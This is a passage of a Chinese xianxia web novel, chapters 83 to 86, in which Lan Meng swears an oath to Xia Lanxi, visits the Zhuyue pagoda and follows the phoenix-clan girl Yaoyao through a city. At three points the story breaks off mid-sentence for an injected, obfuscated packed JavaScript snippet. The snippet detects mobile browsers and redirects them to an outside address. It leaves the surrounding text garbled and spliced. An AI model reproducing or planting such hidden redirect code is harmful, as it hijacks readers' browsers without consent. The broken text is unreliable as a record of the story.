“岚孟,你可不能见死不救啊!我的芥子袋在姓夏的手里,那里面也有你的东西!” 岚孟精神一振,那确实不能坐视不理了,她看向夏澜熹,试探着商量道:“夏首座,放了他怎么样?你想要知道什么,若是我能解答的,绝对知无不言言无不尽。” 夏澜熹心中哂笑,看来那芥子袋里有很重要的东西,她唇边噙着温柔笑意,“闫道友的承诺,我可不敢信,谁知道你又会编什么谎话诓骗于我。” 岚孟汗颜,这人可比柳逸直难缠多了,而且几天不见,她的修为已经达到了闻道大圆满境界,隐隐有突破的趋势,她没把握能在夏澜熹手底下救走贺舟晏,更何况这是在国师府,把动静闹大就不好了。 她妥协道:“那夏首座如何才能信我?” 夏澜熹看着她的眼睛,正色道:“我要你以妖格起誓,用你真正的名字。” 好熟悉的路数!这一招既能用妖格誓言约束她的行动,又能分辨她到底是人是妖,可谓是一石二鸟。岚孟嘴角微抽,不愧是禅宗第一人,若当初闯进道零地宫的人是夏澜熹而不是柳逸直他们,她绝对不会轻轻松松就从屏基山脱身。 但是眼下这情形也容不得她偷奸耍滑了,海鰌骨还在夏澜熹手里,要是惹得她一个不高兴,毁了海鰌骨,那可就赔了夫人又折兵了。 岚孟只好妥协地举起手,竖起三根指头,郑重其事道:“我岚孟,以妖格起誓,必定如实回答夏澜熹所问的三个问题。” 夏澜熹皱起眉,刚想对她约束了问题的个数而表示不满,就听岚孟继续道:“与此同时,也请春神大人做个见证,回答问题以后,夏澜熹须放了贺舟晏,并且完好无损地归还其物品,若有违者,则法力全消,五雷轰顶。” 一阵明亮的华光忽然从天而降,笼罩在了夏澜熹和岚孟身上,其中蕴含着浓郁的法则之力,化作一条金色游龙,分别钻入了她们的眉心。 柳逸直这才醍醐灌顶,原来在屏基山时,岚孟以“闫扶音”之名起誓,并没有得到上天注视,他察觉到的法则之力恐怕也是她为了迷惑他的视线而伪造的,所以她后来对他们三人下手,才没有受到天谴。 感受到柳逸直的目光,岚孟得意地朝他挑了挑眉。 柳逸直掩唇笑了笑,她这法子,当真是妙极,夏澜熹都快气炸了。 夏澜熹差点咬碎一口银牙,没想到还是被眼前这人摆了一道,她不是在尧玦座下修行多年的弟子吗?为何竟是这般谎话连篇、揣奸把滑之人? 最开心的莫过于贺舟晏了,他眉开眼笑,冲夏澜熹嚷嚷道:“喂,姓夏的,还不快放开本大爷!” 夏澜熹再也维持不住面上一惯的微笑,恶狠狠瞪了贺舟晏一眼,冷声道:“依照誓言的内容,是回答我的问题以后才能放你走,现在可还不是时候。” 她扬了扬手,箍在贺舟晏脖子上的金光立即化作锁链缠住了他的手腕,夏澜熹手一握紧,金光锁链立即将贺舟晏拖到了她的脚边。 贺舟晏只感觉整个背都被地面摩擦得火辣辣的疼,忍不住怒骂道:“他奶奶的,疯婆子你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他摸着黑走了出去,顺手带上了门,“踏踏”的脚步声在隔壁房间停下了,没过多久,平稳的呼吸声传入四人耳中,他们不约而同松了一口气。 柳逸直撤了结界,道:“这里不是说话的地方,诸位随我来吧。” 柳家酒庄在卧泉城有很多分店,柳逸直虽然对柳家的产业并不熟悉,但前不久柳意欢刚好和他提过,城北有家分店生意不好,搬到了另一条街,原来的屋子就空下了,他便将三人带到了那里。 虽然已经闲置了许久,但毕竟是酒铺,屋子里还残留着些许酒味,桌椅板凳都落了灰,柳逸直动了动手指,便有清风将落灰吹扫一空,再施一个清洁术,屋里便干干净净,还散发着一股清香。 美中不足的是没有水,柜台里的茶叶也已发霉,都不好泡个茶,柳逸直只好从芥子袋里取出一坛柳家最不会醉人的水酒摆在了桌上,这种酒浓度非常低,喝起来就跟水一样,就连酒量只有一杯的人喝了也不会醉。先用酒水洗了洗从柜台里翻出来的三脚青铜角杯,柳逸直给夏、贺二人都是倒了满满一杯,但保险起见,到了岚孟这里,他就只倒了小半杯,也就是润润喉解个渴的量。 如此厚此薄彼,让岚孟心生怨怼,她刚想开口质问,然而柳逸直就好像清楚她要说什么一样,拒绝道:“再多你就喝醉了,还有正事要干呢。” 贺舟晏被金光锁链捆住了双手,但也不影响他举着角杯一饮而尽,砸吧了一下嘴,没尝到什么酒味,轻蔑地瞥了岚孟一眼,朝柳逸直道:“这种居然还能被称为酒?一点也不过瘾!再来一坛烈的,咱们不醉不归!” 夏澜熹狠狠踩在了他的脚背上,足尖还使劲碾了碾,痛得贺舟晏五官乱飞,求爷爷告奶奶道:“我错了我错了,小姑奶奶,我不说话了还不行么!” 夏澜熹“哼”了一声,举起酒杯灌了一口,然后重重将酒杯搁在了桌上,道:“说说吧,你们去国师府干什么?” 84. 软柿子 乌云接踵而来,惨淡的月光也被云层吞噬,夜色像是浸透了墨汁的染布,浓得化不开。不知过了多久,第一声鸡啼划破了夜空,无数只雄鸡接二连三地跟着打鸣,天毫无预兆地亮了。 阴云如夹杂着泥沙的大潮滚滚而来,层层叠叠地压向大地,远处的栖凰山脉也被灰暗的天空吞噬,令人看不真切,天地之间的界限也变得模糊不清。 狂风卷起落叶与灰尘,形成一个个小小漩涡,雨点开始零星地落下,打在平静湖面上,泛起圈圈涟漪,“啪嗒啪嗒”的声音在耳边回荡。 工匠们陆陆续续钻出了建在湖边的简陋木屋,舀起桐泉湖的水抹了把脸,便扛着工具朝不远处的九层高塔走去。经过他们夜以继日的忙碌,逐月塔已完成了大半,只剩最后的收尾工作——雕刻、装饰斗拱和门窗,还有用桐油、生漆等材料涂抹木材表面,以便防腐防虫。 展恪撑着一柄油纸伞,忧虑地望着在风雨中辛勤劳作的匠人们。国师下了死命令,眼看着只剩不到一旬时间,可偏偏天公不作美,竟意外地下起了雨,雕琢、装饰什么的,就算下着雨也能干活,可必须在晴朗天气下才能在木材上刷桐油,而且木材必须干燥,水分适中。 这场春雨也不知何时才停,若是一连下个好几天,如何才能在最后期限之前竣工?他丢了乌纱帽没事,可千万不能连累了来干活的百姓啊。 展恪的心就像是这一池春水,涨涨又落落,盛满了愁思与哀伤。 “展兄!” 呼唤声从身后传来,展恪回头一看,便见一个人披着蓑衣带着斗笠跌跌撞撞地跑了过来,是郭宇天。 郭宇天在展恪面前站定,缓了好一会才平复了因为奔跑而猛烈急促的呼吸,他说:“展主事,国师,国师说五天之内必须竣工!” “什么?五天?!”展恪差点惊掉下巴,他抬头望了望阴云密布的天空,厚重的雨点哗啦啦下个不停,林风呼啸,湖畔的雪柳肆意摇曳,像是群魔乱舞。天气如此恶劣,不延误工期就不错了,居然还要提前完成? “国师到底怎么想的,赶着去投胎吗?”谨慎如展恪,也忍不住黑着脸抱怨了一句。 “据说是因为陛下想让姜国太子也见识见识逐月塔何等威风,连夜下的死命令,要是五天之内完不成,咱们都得掉脑袋!”郭宇天气呼呼道。 简直气煞他也!当初绝对是被人下了降头,才脑子一热进了工部,尽干些吃力不讨好的活,早知今日会被国师和皇帝轮番折磨,他就是去当个刷茅房的无名小卒,也不来干这个破差事! 可是光阴无法逆转,河水不能倒流,世上也没有后悔药可以吃,他就算再抱怨,把天王老子、各路神仙都骂一遍,也不会有“田螺姑娘”一样的“建塔娘子”,在几天之内造出个完美无缺的逐月塔来。 生气归生气,郭宇天和展恪还是老老实实去安排了。就在两人离开后不久,四个鬼鬼祟祟的身影相继从茂密树枝中跳了下来。 正是岚孟一行人。 昨夜,夏澜熹追着贺舟晏,误打误撞闯进了国师府,意外地遇见了躲在后罩房里的岚孟二人,也从他们口中得知了逐月塔的秘密。 夏澜熹双手环胸,远远地望着对岸的逐月塔。她的手里捏着一根金光锁链,另一头拴在了贺舟晏的脖子上,他捂着嘴打了个哈欠,揉了揉泛着血丝的眼睛,唉声叹气道:“好困啊,你们要浑水摸鱼就算了,能不能别带上我?” 夏澜熹蹙起眉,耀如春华的面上充满了不悦,她低呵道:“这没你说话的份儿。” 贺舟晏不满地哼了两声,看向坐在盘虬树根上用布巾擦拭着刀刃的岚孟,瘪着嘴骂道:“喂,姓岚的,都怪你!非要起什么妖格誓,撸起袖子干她不就完了!管那么多做什么!现在好了吧,主动权全都掌握在人家手里,害得老子还要跟狗一样被人拴着脖子凌辱!” 岚孟岚孟曲起手指弹了弹被擦得锃亮的商刀,“锵”地一声脆响,垂直落下的雨丝都好像停了一瞬,她斜眼看向贺舟晏,并不想和他一般见识,只风轻云淡道:“我不姓岚。” “这是重点吗?”贺舟晏双手抱着头懊悔,“我当初就不该答应为辛念那家伙跑腿,要不然怎么会遇上姓夏的疯婆子,叫天天不灵,叫地地不应,好不容易遇上个熟人,却是个软柿子,任人搓圆捏扁,真他娘的倒霉……” 岚孟哂笑道:“若不是你学艺不精,又怎会被人从藏身处揪出来?亏你还是朝圣道出身的暗系,辛念还说你可堪大用,现在看来也不过如此,只会耍耍嘴皮子,若当年辛念是你这样的半吊子,早就不知道死了多少回了。” “你!” 贺舟晏一腔怒火无处发泄,他怎么知道夏澜熹那婆娘只需一眼就能识破他的伪装?他明明都谨慎地只待在一个人的影子里躲着不出来了!千钧一发之际他只来得及躲在离自己最近一人的影子里,结果是个脏兮兮的老头,恐怕几十年不洗澡了,浑身都臭烘烘的,天晓得他憋得有多辛苦! “别吵了。”柳逸直忍不住打断道。 听着两人的争吵,他好像又回到了和娄雪沁、翟子续两人同行的那段日子,他们每每吵得不可开交,都只能由他站在两人中间打着圆场。唇角竭力勾起一个如春风般和煦的笑容,柳逸直看着贺舟晏,苦口婆心道:“怎么说我们现在也是一条绳上的蚂蚱,和和气气地把事情办妥了,大道朝天,各走一边不好吗?” 贺舟晏发起火来好赖不分,他翻了个白眼,别过脸,哂笑道:“谁和你一样是蚂蚱?别把老子和你这种人相提并论。” “贺舟晏!”夏澜熹冷冷瞥了他一眼,脸上似有冰霜凝结,“你要知道,我是被约束了得到解答之后就放了你不错,但是你别忘了,誓言可没有规定必须全须全尾地放你离开,你若是再这样口无遮拦、冥顽不化,可就别怪我不客气了。” 贺舟晏当然知道夏澜熹说的不是谎话,更何况她是在场修为最高之人,有这个实力打得他半身不遂。秉承着好男不跟女斗的做人准则,他只好心不甘情不愿地闭上了嘴。 岚孟见他眼珠子一转,活像只老狐狸,想必心里的小算盘已经打得劈里啪啦地响了吧,于是便看向夏澜熹,笑道:“夏首座,你不是在寻找魔修以杀证道么?我看不如先斩了这家伙练练手吧,毕竟苍蝇腿再小也是肉,涓涓细流汇成江海,杀的魔足够多,堆成个尸骨山,也不失为一个证道的好法子。” 夏澜熹尚未表态,贺舟晏便猛地跳了起来,活脱脱像只奓了毛的猫,一身尖刺齐齐指向对面唇边含笑却吐出恶毒话语的女人,怒道:“你竟然如此丧心病狂?究竟你是邪魔外道还是我是啊!” 岚孟淡笑不语,夏澜熹却好似忽然被点醒,眼神中透露出一丝清明与恍然,她点头赞同:“你说得有道理,都说聚沙成塔,水滴石穿,杀的人多了,自然就得心应手了。而且还要抽他的筋,扒他的皮,让他求生不得、求死不能,最终在灭顶的绝望之中死去。” 贺舟晏浑身一僵,只觉得全身都被蝮蛇舔了一遍,一时间毛骨悚然。我滴个乖乖,什么叫最毒妇人心,这就是了! 他蹑手蹑脚地走到了柳逸直身侧,金光锁链的长度刚好够他蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而话未说完,一道惊雷对着她的头顶直击而下,根本没给她任何反应的时间,岚孟整个人瞬间便被白光所吞没。待天谴散去,白光趋于湮灭,黑夜如浓墨般铺陈开来,违誓之人的下场也显露人前——岚孟仍旧衣冠楚楚,但周身缠绕着电弧,裸露在外的皮肤上残留着蜘蛛网般的伤痕,原本垂落于地的长发有一半都被雷劈得焦黑卷曲,风一吹,头发渣子便扑簌扑簌往下掉。 她伸手掩在唇上,忍不住咳了一声,黑烟从指缝中逸了出来,空气中弥漫着焦黑气味。 贺舟晏毫不客气地笑出了声,手撑在桌子上,笑得直不起身。 柳逸直从怀里掏出一瓶回灵丹,捉过岚孟放在膝头的手,倒了一颗丹药在她手心。 夏澜熹双手环胸,好整以暇地看着她,那神情好似在说:看吧看吧,我就说你的话,半句也信不得,现在自食恶果了吧? 吞下回灵丹以后,灵力源源不断从丹田处升起,岚孟拔出商刀一把割掉了焦黄的发丝,面上蛛网般的伤痕逐渐褪去,发丝如雨后春笋般蓬勃生长,不多时便到达了腰际。 她清了清嗓子,道:“说笑的,其实我的目的是为了得到暾云炬。毕竟尧玦是上一任掌炬,我是他的弟子,想要继承他的衣钵有什么不对?” 为了暾云炬?这可和她的老熟人辛念的筹谋别无二致,柳逸直心想。但雷刑没有落下,说明她并未说谎,可柳逸直却隐约感觉,她的动机依旧不纯。 夏澜熹反问:“既然如此,你又何必捏造一个假的人族身份,堂堂正正地走进山到源不就好了?” 岚孟耸耸肩,道:“我若是亮明身份,保不齐会被当做下一任掌炬来培养,届时又得抓紧修炼,又得学着处理事务,谈何自由可言?更何况,”她微微扬起下巴,露出一副倨傲的表情,“抢来的东西才是最好的,不是吗?” 85. 心跳声 夏澜熹不动声色地睨了身侧的岚孟一眼,心想,这人看着神色淡漠,对任何外物都毫不关心的样子,昨日是怎么露出那副野心勃勃的表情的? 但她早已见识过违背誓言之后,天谴落下是什么样子单凭她改口以后,天谴并未落下这一事实,夏澜熹就能肯定她说的不是假话。 但怎么感觉就是不对劲呢?是她多心了吗? 夏澜熹忍不住在心里叹了口气,放弃了打破砂锅问到底的打算,只道:“告诉我尧玦的天赋是什么,这便算作是第三个问题吧。” 世人皆知尧玦是乐修,吹得一口好笛,但他的厉害之处并不仅仅体现在乐道上,剑道,阵法,卜卦……尧玦在很多方面都展现了惊人的天赋,似乎没有什么是他不会的,是当之无愧的天下第一人,但却从未有人见识过他的天赋是什么,毕竟有不少大妖都对自己的天赋引以为傲,对人族仙术则嗤之以鼻。 岚孟挑眉,她还以为夏澜熹会问些更私密的问题,毕竟有妖格誓言在,也不用担心她说谎话诓骗于她,没想到她竟然问了这么个不痛不痒的问题。但夏澜熹恐怕要失望了。 岚孟道:“很抱歉,我并不清楚尧玦的天赋是什么。” 夏澜熹面露疑惑:“就连你也不知道?” “我又不是他肚子里蛔虫,怎么可能事事都清楚?”岚孟反问道,“他若是有心隐瞒,又有谁能撬开他的嘴?我敢说就连辛念也不知道这件事。” 尧玦和辛念早已结为道侣,此事甚少有人知情,毕竟谁能想到盗贼和捕贼官最后会暗生情愫结为眷侣呢?但即使,岚孟也一直觉得辛念对尧玦也没有多少感情,否则尧玦死后,她怎会到处游山玩水,一点也不见伤心的样子? 看来从岚孟身上,是打听不出来什么消息了,夏澜熹想。 三个问题已经问完,夏澜熹信守承诺,解开了贺舟晏脖子上的金光锁链,从袖中抽出一个芥子袋扔到了他怀里,淡淡瞥了他一眼:“别再让我看见你。” 贺舟晏露出一个见了鬼的表情。天杀的,当真是哑巴吃黄连,有苦说不出,明明是她冷不丁把他从阴影里揪出来,不由分说追了他三千里好吗!真是气煞他也! 雨越下越大,细密的雨丝逐渐模糊了视线,整座栖凰山都被笼罩在烟雨蒙蒙之中。 此行是为了来确认逐月塔的情况的,夏澜熹还有些事情需要确认,独自走进了雨幕之中。 贺舟晏的眼睛紧紧盯着逐渐远去的背影,心中怒火几欲蓬勃而出。忽然从侧边伸出一只冷白的手,他听见岚孟冷淡的声音,“海鰌骨给我。” 他气呼呼地解开芥子袋的封印,将其颠倒过来,里面又大又重的海鰌骨便哗啦啦掉了下来,重物落地的轰隆声响起,距离最近的岚孟冷不丁被砸了脚,吃痛地单着一条腿往边上跳了好几步。 柳逸直见状连忙上前去扶了她一把,托着她的胳膊,本想将她扶坐在旁边的石头上,却发现势头比她的屁股要高得多,也没有多想,自然地扶住她的腰,手上一使劲就将她放到了石头顶端。 他一抬头,便对上了一双湿漉漉的杏眼,眼中倒映着一个小小的自己。柳逸直这才发觉不妥,连忙将手收了回来。 腰际灼热的触感还未完全消散,岚孟坐在高处,比柳逸直要高一个头,将他略显慌乱的表情尽数收入眼底,在她灼热目光的注视下,柳逸直的耳朵慢慢变红,棱角分明的侧脸也染上了一层薄粉。 柳逸直将手放在唇边掩饰般地咳了一声,低声道:“还没看够么。” 岚孟这才若无其事地移开了目光。 另一边,贺舟晏自然没有注意到这段小插曲,他自己的家当和海鰌骨一起落进了被雨水润湿的地面上,他一个一个捡了起来,最后从中抽出一张薄薄的纸来,两指拈起往岚孟的方向一推,纸片便如破空而去,被岚孟一把攥在了手里。 “辛念给的,三万灵石,让你自己去万象斋取。” 岚孟翻开纸片一看,是万象斋特制的取款凭证不错,她将纸片收进了怀里,见贺舟晏拍拍屁股上的泥就朝逐月塔的方向走去,出言提醒道:“下次你要是再被抓住,我可不会来救你。” 贺舟晏冷哼一声,他可没忘记方才她是怎么恐吓他的,只微微偏头用余光睨了她一眼,道:“放心,不会有下一次了,东西我已经带到,你好自为之吧。” 贺舟晏头也不回地走了。 柳逸直弯腰捡起一块不知道是哪个部位的海鰌骨,只见其光洁如玉,触感温暖,有氤氲灵气流淌其中,确实是不可多得的炼器材料,这么大一堆骨头,目测也得有个十多石重,也不知她要用来做什么,心里这么想着,他也就问了出来。 岚孟从石头上跳了下来,扬手将海鰌骨全都收进了妖境之中,避重就轻道:“能造福九州的好东西。” 柳逸直觑着她的神色认真又郑重,便知她说的不是玩笑话。 苍生泪,引魂灯,如今又多了个海鰌骨,他对她的筹谋真是越来越好奇了。 说到苍生泪,柳逸直便从芥子袋里取出了一排琉璃瓶递了过去,这几个月陆陆续续收集了一些,竟每个瓶子都集了半数之多。 岚孟受宠若惊地接过了琉璃瓶,看着瓶中清澈透亮的液体,抬眸看他,“没想到你竟然还留着。”她还以为这些瓶子早就被他扔在某个不知名的荒郊野岭里了。 柳逸直勾唇:“你的东西,我怎么敢轻易扔掉?” 岚孟“哼”了一声,“你不是早就怀疑我了,就不怕助纣为虐吗?” 柳逸直哑然失笑,“哪有人这样说自己的。” 岚孟不答,转身朝卧泉城的方向走去。她走进春雨之中,一滴滴雨水从她瀑布般的发丝上划过,或许停留片刻,但滑至发梢尖尖,便会毫不留恋地坠入土地之中,滋养着这片大地。 柳逸直亦步亦趋地跟在她身后,和她始终隔着一定的距离,但由于春雨蒙蒙的缘故,她的身影忽远忽近,若即若离,上一秒还在他身边,下一秒便好似飘到了他永远也到不了的远方。 她心中想的究竟是什么呢? 她的心里,会不会有自己一席之地呢。 柳逸直想。 他不由自主加快了脚步,悄然走到了她身边,偏头低眸看着她的脸,正好碰上她抬起了眼睛,两人的目光于蒙蒙春雨之中相撞。 他这一眼饱含了很多复杂情绪,有惆怅,有忧虑,岚孟看不清,她张了张嘴,然而还不等她出声询问,对方忽然一把攥住了她的手,露出一个如暖阳般灿烂的笑容,道:“时间紧迫,我们快些吧。” 然后他便拉着她大步往前跑,岚孟被拽着,不由自主跟上了他的脚步。 春风拨开了拦路的树枝与乱石,斜风细雨从身畔划过,两手交握处源源不断地传来暖意,雨声太大,她几乎听不见自己“砰砰”的心跳声。 一口气跑到了卧泉城门口,柳逸直才放开了岚孟的手,他转回身,道:“我要回柳宅一趟,你怎么打算?” 岚孟平复了一下急促的呼吸,道:“我去一趟万象斋,再去探探国师的虚实。” 柳逸直点头:“好,那我办完了事情就来找你,若是发现不对劲,千万不要逞强,一定要给我传讯。” 看着他郑重的神色,岚孟讷讷点了点头,答应道:“好。” 柳逸直伸手拣去夹在她乌黑发丝之间的雪柳花瓣,勾唇笑了笑,然后转身走进了城门,不多时便没了踪迹。 岚孟看着他的身影消失在行人稀少的街角,手指无意识地蜷缩了一下。她伸手挠了挠头发,放下手,大步流星朝万象斋走去。 在这样的下雨天,即便是万象斋,客人也不多,岚孟畅通无阻地来到了兑换灵石的柜台,用那张凭证将灵石全都取了出来,顺道问了一嘴有没有红尘酒的消息。 掌柜笑呵呵地将一封火漆封口的信封推了过来,道:“在下正想联系您呢,昨晚才接到的消息,一位客人有这‘红尘酒’的制作方法,不过她说了,只和您本人交易,这是她的地址。” 岚孟当场就将信封拆开,打开折成方块的信纸一看,只见上面写着一行歪歪扭扭的字:右手边,窗户,往下看。 她狐疑地扭头看了一眼窗户,再看看信纸,问道:“你说是昨晚收到的这封信?” 掌柜愣了一下,保证道:“千真万确,在下亲手从送信的柳鹰嘴上接过这信的,然后一直放在柜子里,从未有第二个人碰过信件!您若是不信,还有……” 岚孟抬手打断了掌柜的解释,她走到窗边,探头往下一看,只见一个黑衣女孩正正站在窗下,如墨的发丝盘在头顶,扎成了猫耳一般的角。她似乎有所察觉,抬起头对上了岚孟的目光。 岚孟呼吸一滞——那个女孩,有着一双红宝石般的瞳孔,她见过,是在屏基山,带走了“燧明之书”的那个人。 身体比她的脑子先做出了行动,单手撑在窗台上,岚孟轻盈地翻出了窗户,稳稳当当落在了女孩面前。 看着女孩的眼睛,她问道:“你是凰族?” 女孩歪了歪头,露出一个甜美的笑容,默认道:“你可以叫我夭夭。” 女孩向前走了一步,上半身贴近了岚孟的身体,抬头注视着她的眼睛,红宝石似的眼瞳中似有华光流转。 她说:“我知道你想要什么,除了红尘酒,我还可以告诉你什么是孟婆泪。” 岚孟俯视她:“代价呢?” 夭夭勾唇:“这个嘛,我现在有些饿了,你请我吃饭如何?” 虽然不知道夭夭葫芦里卖的是什么药,但是岚孟没有理由拒绝,带她去了卧泉最负盛名的酒楼,点了十七八个菜,摆满了大圆桌。 岚孟的口腹之欲一向很淡,她没有吃,坐在夭夭对面,看着她大快朵颐。 夭夭饿死鬼投胎一般吃完了所有的菜,满意地瘫在椅子上,摸着圆鼓鼓的肚子打了个饱嗝。 岚孟道:“现在可以说了吧?” 夭夭慢条斯理地拿帕子擦了擦嘴,笑道:“急什么,一顿饭可换不来这两个消息。” 岚孟叹气:“那你还要什么?我很忙的。” 夭夭随口道:“不就是逐月塔的事情么?那老不死的还没睡醒呢,能出什么大问题?” 岚孟追问:“什么老不死的?” 夭夭连忙捂住嘴,头摇得像拨浪鼓,矢口否认道:“我可什么都没说,你也什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175969|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没听见。” 这欲盖弥彰的掩饰令岚孟心中疑窦丛生,转眼间她便来到了夭夭身侧,一手放在她身后的椅背上,一手放在桌上,几乎将夭夭圈在了怀里,一双漆黑的眸子紧紧盯着女孩的红瞳,眼底晦暗不明,压迫感十足。 她问:“是谁?” 然而夭夭丝毫不怵,身手敏捷如滑溜的泥鳅,一下子便从桌椅之间的空隙里钻了出去,一把推开了房门,站在门边朝岚孟扬起下巴,歪嘴吹了吹额前碎发,俏皮道:“天机不可泄露,你还是自己琢磨吧。” 她大步流星走了出去,只留一句“跟上”传入了岚孟的耳中。 岚孟吐出一口浊气,认命地跟上了那个来无影去无踪、任性又妄为的凰族后人。 春雨绵绵不绝,午时将近,街巷上本就不多的行人愈发稀少,百姓们都回到家中用起了午膳,空气中弥漫着饭菜的香气。夭夭不知从何处弄来了一把小巧的油纸伞,只能容纳她一个人,雨水在倾斜的伞面上翻滚,在地上砸出一个个蝴蝶似的水花。手腕轻轻一转,昏黄的伞面顿时旋转作圆,雨珠顺着伞骨划出数个流畅的弧线,像是一串串晶莹的珍珠。 夭夭迈着轻快地步伐走进雨中,岚孟亦步亦趋跟在她身后,雨珠从她身上淌过,却沾不湿她的衣裳。夭夭径直朝一户人家的院墙走去,毫无阻隔地穿进了墙中。 岚孟停住了脚步,夭夭从墙里探出头来,道:“快点。”然后便又缩了回去。 岚孟一边腹诽着这家伙到底在耍什么把戏,一边跟上夭夭的脚步从土墙中穿了过去。 这是城中一个富商的宅邸,宅中雕栏玉砌,一砖一瓦尽显奢华,富商一家人正在膳堂用膳,桌上山珍海味琳琅满目,色香味俱全,坐在主位的男主人大腹便便,被肥肉挤压成一条线的眼中满是精明,高谈阔论着,吹嘘着自己又从佃户手中收了多少银钱。 夭夭的脚步没有停留,横穿富商的豪宅,走过僻静的街巷,来到了一户略显冷清的人家,剧烈的咳嗽声融入雨中,一个白发苍苍的老人家坐在书案前翻看着奏折,时不时掩唇咳嗽几声。 “老爷,药来了,快趁热喝吧。”侍者端来了浓稠的汤药,苦涩刺鼻的气味萦绕在鼻尖,老者却眉头都不皱一下,便将汤药一饮而尽,然后继续批阅着奏折,时不时长叹一口气,一副心事重重的样子。 岚孟认得那老者,他是楚国的丞相,姓丁,名羽中。 夭夭站在窗前看了一会,什么话也没说,转身朝下一户人家走去。 第三户人家只是普通的农户,家境清贫,不过巴掌大的家中住了三代同堂七口人,老人家头发花白,牙齿都掉光了,一块干硬的馍馍,用牙床啃半天也啃不下一块;夫妻两人正值壮年,却满脸疲态,双手粗粝,饱经风霜;三个孩子也面黄肌瘦,争抢着唯一一个白面馒头,小的抢不过大的,一屁股坐在地上干嚎起来…… 双目浑浊的老乞丐在泥水里摸索着路人咬了一口便随意丢弃的烧饼;学堂里,稚子摇晃着脑袋,跟着教书先生一字一句地念着书;青楼楚馆里,年幼的婢女犯了错,被趾高气扬的花魁狠狠责罚,然而关起门来,花魁被丝绸衣物包裹的身体却布满青青紫紫的伤痕…… 夭夭一路往南,最终登上了最南边的城门,背后是居住着万千百姓的卧泉城,身前是一眼望不到头的、层层叠叠的栖凰山脉,她轻盈地跳上城墙,将手放在眉上,眯着眼睛朝远处眺望,感叹道:“当真是壮观呐……” 岚孟在夭夭身后站定,眉头微蹙,脸上带着不悦,“所以呢,不是要告诉我红尘酒和孟婆伤心泪是什么吗?” 夭夭转回身,低头俯视着她,脸上露出一个“果然”的表情,奇怪道:“你这样的,怎么会是尧玦的弟子?当真是一根朽木。” 岚孟不悦道:“这话你应该去问他。” 夭夭笑嘻嘻道:“尧玦都死了多少年了,我上哪问去?等你将他复活吗?” 岚孟的脸色一下子沉了下来,眼瞳一寸寸变成蓝色,夭夭的身影一下子消失不见,下一秒,她出现在岚孟的身侧,抬起手按住她的肩膀,岚孟眼中的蓝色一下子便如潮水般褪去,又恢复了夜一般的黑。 夭夭勾唇:“一言不发就动手可不是什么好习惯。” 岚孟咽下口中腥甜,哑声道:“若是来说教的,那你可以走了。” 夭夭仰起头哈哈一笑,手轻拍着岚孟的肩膀,道:“别这样嘛,我真的是来帮你的。” “无人可酿红尘酒,人人可做红尘梦。” “至于孟婆伤心泪,你不如想一想,为什么苍生泪就是孟婆汤,而孟婆汤又为什么被称为‘孟婆汤’。” 夭夭双腿一蹬便飘向了半空之中,岚孟心头一团乱麻,哪里肯放她走,立即伸手去抓夭夭的脚,然而她的手却从夭夭身上穿了过去,任她怎么努力都碰不到夭夭分毫。 夭夭嫣然一笑,道:“言尽于此,你好好琢磨琢磨吧。”雨丝在她身上划出了许多痕迹,就像是褪色了一般,夭夭很快便消失在了蒙蒙春雨之中。 “我们还会再见的。” 岚孟垂头丧气地放下手,注视着夭夭消失的方向,呢喃道:“这和没说有什么分别……” 86. 求援令 城西,一架马车笃笃驶进了柳宅后院,身着官袍的柳问冒着雨跳下了马车,飞快地跑到屋檐下,伸手掸了掸雨水,然后才大步朝院内走去。 家仆们行迹匆匆,不知道在忙活些什么,他抓了一个人问了,才知道柳逸直回来了,一家人都在正厅等他,柳问连忙朝正厅跑去。 甫一进门就看见半空中飘着一个人,柳问赫然被吓了一跳,定睛一看,才知那是他刚随妻子沈渔从姥姥家回来的女儿依依,柳问顿时花容失色,连忙跑过去伸手去接她,小小的人儿咯咯笑着扑进了他的怀里。 “爹爹,依依会飞了!” 柳问瞪向风轻云淡喝着茶的柳逸直,骂道:“要玩你自己生一个去!要是把我宝贝女儿摔了怎么办!” “啪”地一声脆响,是依依的手打在了亲爹的脸上,她嘟起嘴,气呼呼道:“不许你骂三叔!” 依依扭着身子从柳问怀里跳了下来,迈着小短腿跑到柳逸直身前,抱着他的小腿,依旧气鼓鼓地看着柳问,一副和柳逸直同仇敌忾的样子。 柳逸直忍俊不禁,伸手将粉雕玉琢的女童抱起来放在了膝上。 沈渔忍俊不禁,笑道:“三弟倒是招依依喜欢,不像二弟。 柳问愣在原地,张着嘴巴说不出话来,胳膊依旧保持着虚抱的姿态。 女儿不懂事也就算了,怎么他的亲亲媳妇也向着那小子说话? 柳诉斜靠在椅子上,两手交叠放在脑后,长腿伸直,一副懒散模样,瘪着嘴不高兴道:“要给一两银子才能抱一刻钟呢。” 依依立即搂紧了柳逸直的脖子,脆生生道:“三叔香香的,二叔身上臭!才不要二叔抱!” 柳诉更不高兴了,“你这小丫头片子懂什么,这是金钱的香味!” 柳意欢看得分明:“依依说的是你身上的酒味。” 柳诉抬起胳膊闻了闻,狐疑道:“有吗?” 柳意欢幸灾乐祸道:“你日日往酒窖里跑,都被腌入味了,只是你自己没感觉而已。” 